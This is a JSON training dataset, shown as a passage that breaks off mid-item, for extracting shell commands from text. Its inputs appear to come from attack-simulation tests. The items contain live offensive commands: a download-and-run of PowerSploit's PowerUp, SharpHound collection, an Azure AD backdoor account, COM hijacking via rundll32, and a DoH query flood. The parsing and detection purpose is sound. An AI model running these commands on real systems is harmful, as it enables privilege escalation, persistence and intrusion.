    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For displaying all network TCP connections, run the following PowerShell command: Get-NetTCPConnection",
    "output": "{\"command_list\": [\"Get-NetTCPConnection\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test creates and removes TeamViewer log files without displaying output, which can be verified via File Explorer. Execute these commands to perform the action: New-Item -Path #{teamviewer_log_file} -Force | Out-Null\nRemove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore\n.",
    "output": "{\"command_list\": [\"New-Item -Path #{teamviewer_log_file} -Force | Out-Null\\nRemove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malicious actors often establish persistence by creating new Azure AD users with the following command, which avoids detection by not modifying existing accounts: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\"      \n$password = \"#{password}\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      ",
    "output": "{\"command_list\": [\"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\"      \\n$password = \\\"#{password}\\\"\\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\\n$PasswordProfile.Password = $password\\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script simulates OSTap's activity by creating and executing a test file with the command: pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd",
    "output": "{\"command_list\": [\"pushd #{destination_path}\\necho var fileObject = WScript.createobject(\\\"Scripting.FileSystemObject\\\");var newfile = fileObject.CreateTextFile(\\\"AtomicTestFileT1105.js\\\", true);newfile.WriteLine(\\\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\\\");newfile.Close(); > AtomicTestT1105.js\\nCScript.exe AtomicTestT1105.js //E:JScript\\ndel AtomicTestT1105.js /Q >nul 2>&1\\ndel AtomicTestFileT1105.js /Q >nul 2>&1\\npopd\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By leveraging PowerShell, you can hijack a COM reference through registry manipulation under the InprocServer32 key in HKCU and then execute the Class ID with rundll32.exe, as shown in this command block: \nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value \"#{dllpath}\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'",
    "output": "{\"command_list\": [\"New-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}' -Value '#{clsid_description}'\\nNew-Item -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Value \\\"#{dllpath}\\\"\\nNew-ItemProperty -Path 'HKCU:\\\\SOFTWARE\\\\Classes\\\\CLSID\\\\#{clsid}\\\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \\\"String\\\"\\nStart-Process -FilePath \\\"C:\\\\Windows\\\\System32\\\\RUNDLL32.EXE\\\" -ArgumentList '-sta #{clsid}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic creates a custom IAM role in GCP by executing this command: gcloud config set project #{project-id}\ngcloud iam roles create #{role-name} --description=\"#{role-description}\" --permissions=#{roles} --project=#{project-id}",
    "output": "{\"command_list\": [\"gcloud config set project #{project-id}\\ngcloud iam roles create #{role-name} --description=\\\"#{role-description}\\\" --permissions=#{roles} --project=#{project-id}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test generates a high volume of DoH queries to evaluate detection thresholds, executed via the command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }",
    "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if 